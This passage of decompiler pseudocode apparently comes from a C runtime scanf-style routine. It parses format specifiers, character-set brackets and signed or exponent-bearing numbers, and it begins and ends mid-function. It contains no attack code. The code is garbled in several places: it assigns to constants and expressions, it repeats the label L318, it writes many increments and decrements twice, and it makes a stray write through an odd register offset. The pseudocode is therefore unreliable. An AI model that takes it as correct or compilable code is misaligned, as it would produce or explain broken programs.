																													__dl =  *(__ebp - 0x1e);
																													__dl =  *(__ebp - 0x1e) + 1;
																													__eflags = __dl;
																													 *(__ebp - 0x1e) = __dl;
																												} else {
																													__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																													if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																														__edx =  *(__ebp - 0x220);
																														__eax =  *(__ebp - 0x220);
																														__ecx = __eax + __edx * 4;
																														__ecx = __eax + __edx * 4 << 1;
																														__eflags = __ecx;
																														 *(__ebp - 0x220) = __ecx;
																													} else {
																														__eflags =  *(__ebp - 0x21c) - 0x38;
																														if( *(__ebp - 0x21c) >= 0x38) {
																															__cl =  *(__ebp - 0x1e);
																															__cl =  *(__ebp - 0x1e) + 1;
																															__eflags = __cl;
																															 *(__ebp - 0x1e) = __cl;
																														} else {
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																														}
																													}
																												}
																												goto L242;
																											}
																											goto L229;
																										}
																										L250:
																										__eax =  *(__ebp - 2);
																										__eflags =  *(__ebp - 2);
																										if( *(__ebp - 2) != 0) {
																											__ecx =  *(__ebp - 0x220);
																											__ecx =  ~( *(__ebp - 0x220));
																											 *(__ebp - 0x220) = __ecx;
																										}
																										goto L252;
																									}
																								}
																								L194:
																								__ecx =  *(__ebp - 0x78);
																								__ecx =  *(__ebp - 0x78) - 1;
																								__eflags = __ecx;
																								 *(__ebp - 0x78) = __ecx;
																								if(__ecx != 0) {
																									L197:
																									__eax =  *(__ebp - 0xc);
																									__eax =  *(__ebp - 0xc) + 1;
																									__eflags = __eax;
																									 *(__ebp - 0xc) = __eax;
																									__ecx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																									do {
																										L198:
																										if( *(__ebp - 0x30) == 0) {
																											goto L226;
																										}
																										goto L199;
																									} while ( *(__ebp - 0x21c) != 0x2b);
																									goto L194;
																								}
																								L195:
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) == 0) {
																									goto L197;
																								}
																								L196:
																								 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																								 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																								goto L198;
																							}
																							L192:
																							__al =  *(__ebp - 2);
																							__al =  *(__ebp - 2) + 1;
																							 *(__ebp - 2) = __al;
																							goto L194;
																						case 2:
																							L268:
																							 *(__ebp - 0x10) = 0;
																							__eflags =  *(__ebp - 0x21c) - 0x2d;
																							if( *(__ebp - 0x21c) != 0x2d) {
																								L270:
																								__eflags =  *(__ebp - 0x21c) - 0x2b;
																								if( *(__ebp - 0x21c) != 0x2b) {
																									L272:
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) == 0) {
																										 *(__ebp - 0x78) = 0xffffffff;
																									}
																									while(1) {
																										L274:
																										__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											break;
																										}
																										L275:
																										__edx =  *(__ebp - 0x78);
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										__eflags =  *(__ebp - 0x78);
																										if( *(__ebp - 0x78) == 0) {
																											break;
																										}
																										L276:
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										__al =  *(__ebp - 0x21c);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __al;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__edx = __ebp - 0x28;
																										__eax = __ebp - 0x1e8;
																										__ecx = __ebp - 0x84;
																										__edx = __ebp - 0x204;
																										__eax =  *(__ebp - 0x10);
																										__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L278:
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											__edx =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																											continue;
																										}
																										L277:
																										goto L335;
																									}
																									L279:
																									__eax = __ebp - 0x214;
																									__eax = E0041B2E0(__ebp - 0x214);
																									__ecx =  *__eax;
																									__dl =  *( *__eax);
																									 *((char*)(__ebp - 1)) =  *( *__eax);
																									__eax =  *((char*)(__ebp - 1));
																									__ecx =  *(__ebp - 0x21c);
																									__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																									if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																										L288:
																										__eflags =  *(__ebp - 0x1f4);
																										if( *(__ebp - 0x1f4) == 0) {
																											L307:
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																											__eax =  *(__ebp + 8);
																											__ecx =  *(__ebp - 0x21c);
																											__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																											__eflags =  *(__ebp - 0x1f4);
																											if( *(__ebp - 0x1f4) == 0) {
																												L311:
																												goto L335;
																											}
																											L308:
																											__edx =  *((char*)(__ebp - 0x12));
																											__eflags =  *((char*)(__ebp - 0x12));
																											if( *((char*)(__ebp - 0x12)) == 0) {
																												 *(__ebp - 8) =  *(__ebp - 8) + 1;
																												 *(__ebp - 8) =  *(__ebp - 8) + 1;
																												 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																												 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																												__ecx = __ebp - 0x214;
																												_push(E0041B2D0(__ebp - 0x214));
																												__edx =  *(__ebp - 0x84);
																												_push( *(__ebp - 0x84));
																												__eax =  *(__ebp - 0x7c);
																												_push(__eax);
																												__ecx =  *(__ebp - 0x1d);
																												__ecx =  *(__ebp - 0x1d) - 1;
																												__eflags = __ecx;
																												_push(__ecx);
																												__edx =  *0x43e47c; // 0x46f0f098
																												_push(__edx);
																												__imp__DecodePointer();
																												__eax =  *__eax();
																												__esp = __esp + 0x10;
																											}
																											L318:
																											 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																											 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																											goto L330;
																										}
																										L289:
																										__eflags =  *(__ebp - 0x21c) - 0x65;
																										if( *(__ebp - 0x21c) == 0x65) {
																											L291:
																											__ecx =  *(__ebp - 0x78);
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											__eflags =  *(__ebp - 0x78);
																											if( *(__ebp - 0x78) == 0) {
																												goto L307;
																											}
																											L292:
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											__edx = __ebp - 0x28;
																											__eax = __ebp - 0x1e8;
																											__ecx = __ebp - 0x84;
																											__edx = __ebp - 0x204;
																											__eax =  *(__ebp - 0x10);
																											__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																											__eflags = __eax;
																											if(__eax != 0) {
																												L294:
																												 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																												 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																												__eflags =  *(__ebp - 0x21c) - 0x2d;
																												if( *(__ebp - 0x21c) != 0x2d) {
																													L298:
																													__eflags =  *(__ebp - 0x21c) - 0x2b;
																													if( *(__ebp - 0x21c) != 0x2b) {
																														while(1) {
																															L302:
																															__eax =  *(__ebp - 0x21c) & 0x000000ff;
																															__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																															__eflags = __eax;
																															if(__eax == 0) {
																																goto L307;
																															}
																															L303:
																															__ecx =  *(__ebp - 0x78);
																															 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																															 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																															__eflags =  *(__ebp - 0x78);
																															if( *(__ebp - 0x78) == 0) {
																																goto L307;
																															}
																															L304:
																															 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																															 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																															 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																															__dl =  *(__ebp - 0x21c);
																															 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																															 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																															 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																															__ecx = __ebp - 0x28;
																															__edx = __ebp - 0x1e8;
																															__eax = __ebp - 0x84;
																															__ecx = __ebp - 0x204;
																															__edx =  *(__ebp - 0x10);
																															__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																															__eflags = __eax;
																															if(__eax != 0) {
																																L306:
																																 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																																 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																																__ecx =  *(__ebp + 8);
																																 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																																continue;
																															}
																															L305:
																															goto L335;
																														}
																														goto L307;
																													}
																													L299:
																													__ecx =  *(__ebp - 0x78);
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													__eflags =  *(__ebp - 0x78);
																													if( *(__ebp - 0x78) != 0) {
																														__ecx =  *(__ebp - 0xc);
																														__ecx =  *(__ebp - 0xc) + 1;
																														__eflags = __ecx;
																														 *(__ebp - 0xc) = __ecx;
																														__edx =  *(__ebp + 8);
																														 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																													} else {
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																													}
																													goto L302;
																												}
																												L295:
																												 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																												 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																												 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																												 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																												__edx = __ebp - 0x28;
																												__eax = __ebp - 0x1e8;
																												__ecx = __ebp - 0x84;
																												__edx = __ebp - 0x204;
																												__eax =  *(__ebp - 0x10);
																												__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																												__eflags = __eax;
																												if(__eax != 0) {
																													L297:
																													goto L299;
																												}
																												L296:
																												goto L335;
																											}
																											L293:
																											goto L335;
																										}
																										L290:
																										__eflags =  *(__ebp - 0x21c) - 0x45;
																										if( *(__ebp - 0x21c) != 0x45) {
																											goto L307;
																										}
																										goto L291;
																									}
																									L280:
																									__edx =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										goto L288;
																									}
																									L281:
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									__edx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									__cl =  *((intOrPtr*)(__ebp - 1));
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__eax = __ebp - 0x28;
																									__ecx = __ebp - 0x1e8;
																									__edx = __ebp - 0x84;
																									__eax = __ebp - 0x204;
																									__ecx =  *(__ebp - 0x10);
																									__eax = E0041CE30(__ecx, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										while(1) {
																											L283:
																											__edx =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												goto L288;
																											}
																											L284:
																											__eax =  *(__ebp - 0x78);
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											__eflags =  *(__ebp - 0x78);
																											if( *(__ebp - 0x78) == 0) {
																												goto L288;
																											}
																											L285:
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											__cl =  *(__ebp - 0x21c);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											__eax = __ebp - 0x28;
																											__ecx = __ebp - 0x1e8;
																											__edx = __ebp - 0x84;
																											__eax = __ebp - 0x204;
																											__ecx =  *(__ebp - 0x10);
																											__eax = E0041CE30(__ecx, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																											__eflags = __eax;
																											if(__eax != 0) {
																												L287:
																												 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																												 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																												__eax =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																												continue;
																											}
																											L286:
																											goto L335;
																										}
																										goto L288;
																									}
																									L282:
																									goto L335;
																								}
																								L271:
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								__edx =  *(__ebp - 0xc);
																								__edx =  *(__ebp - 0xc) + 1;
																								__eflags = __edx;
																								 *(__ebp - 0xc) = __edx;
																								__eax =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																								goto L272;
																							}
																							L269:
																							 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																							 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							goto L271;
																						case 3:
																							goto L0;
																						case 4:
																							L265:
																							__eax =  *(__ebp - 0xc);
																							 *(__ebp - 0x220) =  *(__ebp - 0xc);
																							__ecx =  *((char*)(__ebp - 0x12));
																							__eflags = __ecx;
																							if(__ecx != 0) {
																								L267:
																								while(1) {
																									L318:
																									 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																									 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																									goto L330;
																								}
																							}
																							L266:
																							L257:
																							__eflags =  *(__ebp - 0x30);
																							if( *(__ebp - 0x30) == 0) {
																								__ecx =  *(__ebp - 0x1d);
																								__eflags = __ecx;
																								if(__ecx == 0) {
																									__ecx =  *(__ebp - 0x7c);
																									 *__ecx =  *(__ebp - 0x220);
																								} else {
																									__edx =  *(__ebp - 0x7c);
																									__eax =  *(__ebp - 0x220);
																									 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																								}
																							} else {
																								__ecx =  *(__ebp - 0x7c);
																								__edx =  *(__ebp - 0x200);
																								 *__ecx =  *(__ebp - 0x200);
																								__eax =  *(__ebp - 0x1fc);
																								 *(__ecx + 4) =  *(__ebp - 0x1fc);
																							}
																							goto L262;
																						case 5:
																							L190:
																							 *(__ebp - 0x1d) = 1;
																							goto L191;
																						case 6:
																							L75:
																							__edx =  *(__ebp - 0x215);
																							__eflags =  *(__ebp - 0x215);
																							if( *(__ebp - 0x215) > 0) {
																								__al =  *(__ebp - 0x29);
																								__al =  *(__ebp - 0x29) + 1;
																								__eflags = __al;
																								 *(__ebp - 0x29) = __al;
																							}
																							L77:
																							goto L104;
																						case 7:
																							L169:
																							if( *(__ebp - 0x21c) != 0x2d) {
																								goto L171;
																							}
																							goto L170;
																						case 8:
																							L78:
																							__ecx =  *(__ebp - 0x215);
																							__eflags =  *(__ebp - 0x215);
																							if( *(__ebp - 0x215) > 0) {
																								__dl =  *(__ebp - 0x29);
																								__dl =  *(__ebp - 0x29) + 1;
																								__eflags = __dl;
																								 *(__ebp - 0x29) = __dl;
																							}
																							L80:
																							 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																							 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																							__ecx =  *(__ebp + 0xc);
																							 *(__ebp - 0x38) =  *(__ebp + 0xc);
																							__edx =  *(__ebp - 0x38);
																							__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																							__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																							if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								__dl =  *(__ebp - 3);
																								__dl =  *(__ebp - 3) - 1;
																								__eflags = __dl;
																								 *(__ebp - 3) = __dl;
																							}
																							 *(__ebp - 0x4c) = E00422580( *(__ebp - 0x4c), 0, 0x20);
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																							if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																								__ecx =  *(__ebp - 0x38);
																								__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																								__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																								if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																									 *(__ebp - 0x7d) = 0x5d;
																									__eax =  *(__ebp - 0x38);
																									__eax =  *(__ebp - 0x38) + 1;
																									__eflags = __eax;
																									 *(__ebp - 0x38) = __eax;
																									__ecx =  *(__ebp - 0x4c);
																									 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																								}
																							}
																							while(1) {
																								L85:
																								__edx =  *(__ebp - 0x38);
																								__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																								__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																								if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																									break;
																								}
																								L86:
																								__ecx =  *(__ebp - 0x38);
																								__dl =  *( *(__ebp - 0x38));
																								 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																								__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																								if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																									L89:
																									__dl =  *(__ebp - 0x7e);
																									 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																									 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																									 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																									1 = 1 << __cl;
																									__ecx =  *(__ebp - 0x4c);
																									 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																									 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																									__edx =  *(__ebp - 0x4c);
																									 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																									L98:
																									_t269 = __ebx - 0x49f037bb;
																									 *_t269 =  *(__ebx - 0x49f037bb) - 1;
																									__eflags =  *_t269;
																									continue;
																								}
																								L87:
																								__edx =  *(__ebp - 0x7d) & 0x000000ff;
																								__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																								if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																									goto L89;
																								}
																								L88:
																								__eax =  *(__ebp - 0x38);
																								__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																								__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																								if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																									L90:
																									__eax =  *(__ebp - 0x38);
																									__cl =  *( *(__ebp - 0x38));
																									 *(__ebp - 0x7e) = __cl;
																									 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																									 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																									__eax =  *(__ebp - 0x7d) & 0x000000ff;
																									__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																									__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																									if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																										__al =  *(__ebp - 0x7d);
																										 *(__ebp - 0x11) = __al;
																										__cl =  *(__ebp - 0x7e);
																										 *(__ebp - 0x7d) = __cl;
																									} else {
																										__dl =  *(__ebp - 0x7e);
																										 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																									}
																									__dl =  *(__ebp - 0x7d);
																									 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																									while(1) {
																										L95:
																										__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																										__edx =  *(__ebp - 0x11) & 0x000000ff;
																										__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																										if(( *(__ebp - 0x7e) & 0x000000ff) >= ( *(__ebp - 0x11) & 0x000000ff)) {
																											break;
																										}
																										L96:
																										 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																										 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																										1 = 1 << __cl;
																										__ecx =  *(__ebp - 0x4c);
																										 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																										 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																										__edx =  *(__ebp - 0x4c);
																										 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) = __al;
																										__al =  *(__ebp - 0x7e);
																										__al =  *(__ebp - 0x7e) + 1;
																										__eflags = __al;
																										 *(__ebp - 0x7e) = __al;
																									}
																									L97:
																									 *(__ebp - 0x11) & 0x000000ff = ( *(__ebp - 0x11) & 0x000000ff) >> 3;
																									 *(__ebp - 0x11) & 0x000000ff =  *(__ebp - 0x11) & 7;
																									1 = 1 << __cl;
																									__ecx =  *(__ebp - 0x4c);
																									 *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																									__eflags =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																									 *(__ebp - 0x11) & 0x000000ff = ( *(__ebp - 0x11) & 0x000000ff) >> 3;
																									__edx =  *(__ebp - 0x4c);
																									 *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) = __al;
																									 *(__ebp - 0x7d) = 0;
																									goto L98;
																								}
																								goto L89;
																							}
																							L100:
																							__eax =  *(__ebp - 0x38);
																							__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																							__eflags = __ecx;
																							if(__ecx != 0) {
																								L102:
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																								if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																									__edx =  *(__ebp - 0x38);
																									 *(__ebp + 0xc) =  *(__ebp - 0x38);
																								}
																								L104:
																								 *(_t1139 - 0x48) =  *(_t1139 - 0x7c);
																								_t1003 =  *(_t1139 - 0xc) - 1;
																								 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																								E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																								_t1141 = _t1141 + 8;
																								__eflags =  *(_t1139 - 0x44) - 0x63;
																								if( *(_t1139 - 0x44) != 0x63) {
																									_t1003 =  *(_t1139 - 0x18) - 1;
																									__eflags = _t1003;
																									 *(_t1139 - 0x18) = _t1003;
																								}
																								while(1) {
																									L106:
																									__eflags =  *(_t1139 - 0x1f0);
																									if( *(_t1139 - 0x1f0) == 0) {
																										goto L108;
																									}
																									L107:
																									 *(_t1139 - 0x78) =  *(_t1139 - 0x78) - 1;
																									__eflags =  *(_t1139 - 0x78);
																									if( *(_t1139 - 0x78) == 0) {
																										L129:
																										__eflags =  *(_t1139 - 0x40);
																										if( *(_t1139 - 0x40) == 0) {
																											L147:
																											_t1060 =  *(_t1139 - 0x48);
																											__eflags =  *(_t1139 - 0x48) -  *(_t1139 - 0x7c);
																											if( *(_t1139 - 0x48) ==  *(_t1139 - 0x7c)) {
																												L167:
																												goto L335;
																											}
																											L148:
																											__eflags =  *((char*)(_t1139 - 0x12));
																											if( *((char*)(_t1139 - 0x12)) == 0) {
																												 *(_t1139 - 8) =  *(_t1139 - 8) + 1;
																												__eflags =  *(_t1139 - 0x44) - 0x63;
																												if( *(_t1139 - 0x44) != 0x63) {
																													__eflags =  *(_t1139 - 0x29);
																													if( *(_t1139 - 0x29) == 0) {
																														 *( *(_t1139 - 0x7c)) = 0;
																														__eflags =  *(_t1139 - 0x34) - 0xffffffff;
																														if( *(_t1139 - 0x34) != 0xffffffff) {
																															__eflags =  *(_t1139 - 0x34) - 0x7fffffff;
																															if( *(_t1139 - 0x34) != 0x7fffffff) {
																																__eflags =  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1 -  *(_t1139 - 0x34);
																																if( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1 <  *(_t1139 - 0x34)) {
																																	__eflags =  *0x43e408 -  *(_t1139 - 0x34) -  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1; // 0xffffffff
																																	if(__eflags >= 0) {
																																		_t884 =  *(_t1139 - 0x34) -  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1;
																																		__eflags = _t884;
																																		 *(_t1139 - 0x270) = _t884;
																																	} else {
																																		_t1013 =  *0x43e408; // 0xffffffff
																																		 *(_t1139 - 0x270) = _t1013;
																																	}
																																	__eflags =  *(_t1139 - 0x7c) -  *(_t1139 - 0x48);
																																	E00422580( *(_t1139 - 0x48) +  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1, 0xfe,  *(_t1139 - 0x270));
																																	_t1141 = _t1141 + 0xc;
																																}
																															}
																														}
																													} else {
																														 *( *(_t1139 - 0x7c)) = 0;
																														__eflags =  *(_t1139 - 0x34) - 0xffffffff;
																														if( *(_t1139 - 0x34) != 0xffffffff) {
																															__eflags =  *(_t1139 - 0x34) - 0x7fffffff;
																															if( *(_t1139 - 0x34) != 0x7fffffff) {
																																__eflags = ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1 -  *(_t1139 - 0x34);
																																if(( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1 <  *(_t1139 - 0x34)) {
																																	__eflags =  *0x43e408 -  *(_t1139 - 0x34) - ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1; // 0xffffffff
																																	if(__eflags >= 0) {
																																		_t1018 =  *(_t1139 - 0x34) - ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1;
																																		__eflags = _t1018;
																																		 *(_t1139 - 0x26c) = _t1018;
																																	} else {
																																		_t1101 =  *0x43e408; // 0xffffffff
																																		 *(_t1139 - 0x26c) = _t1101;
																																	}
																																	__eflags =  *(_t1139 - 0x7c) -  *(_t1139 - 0x48);
																																	E00422580( *(_t1139 - 0x48) + 2 + ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) * 2, 0xfe,  *(_t1139 - 0x26c) << 1);
																																	_t1141 = _t1141 + 0xc;
																																}
																															}
																														}
																													}
																												}
																											}
																											while(1) {
																												L318:
																												 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																												 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																												goto L330;
																											}
																										}
																										L130:
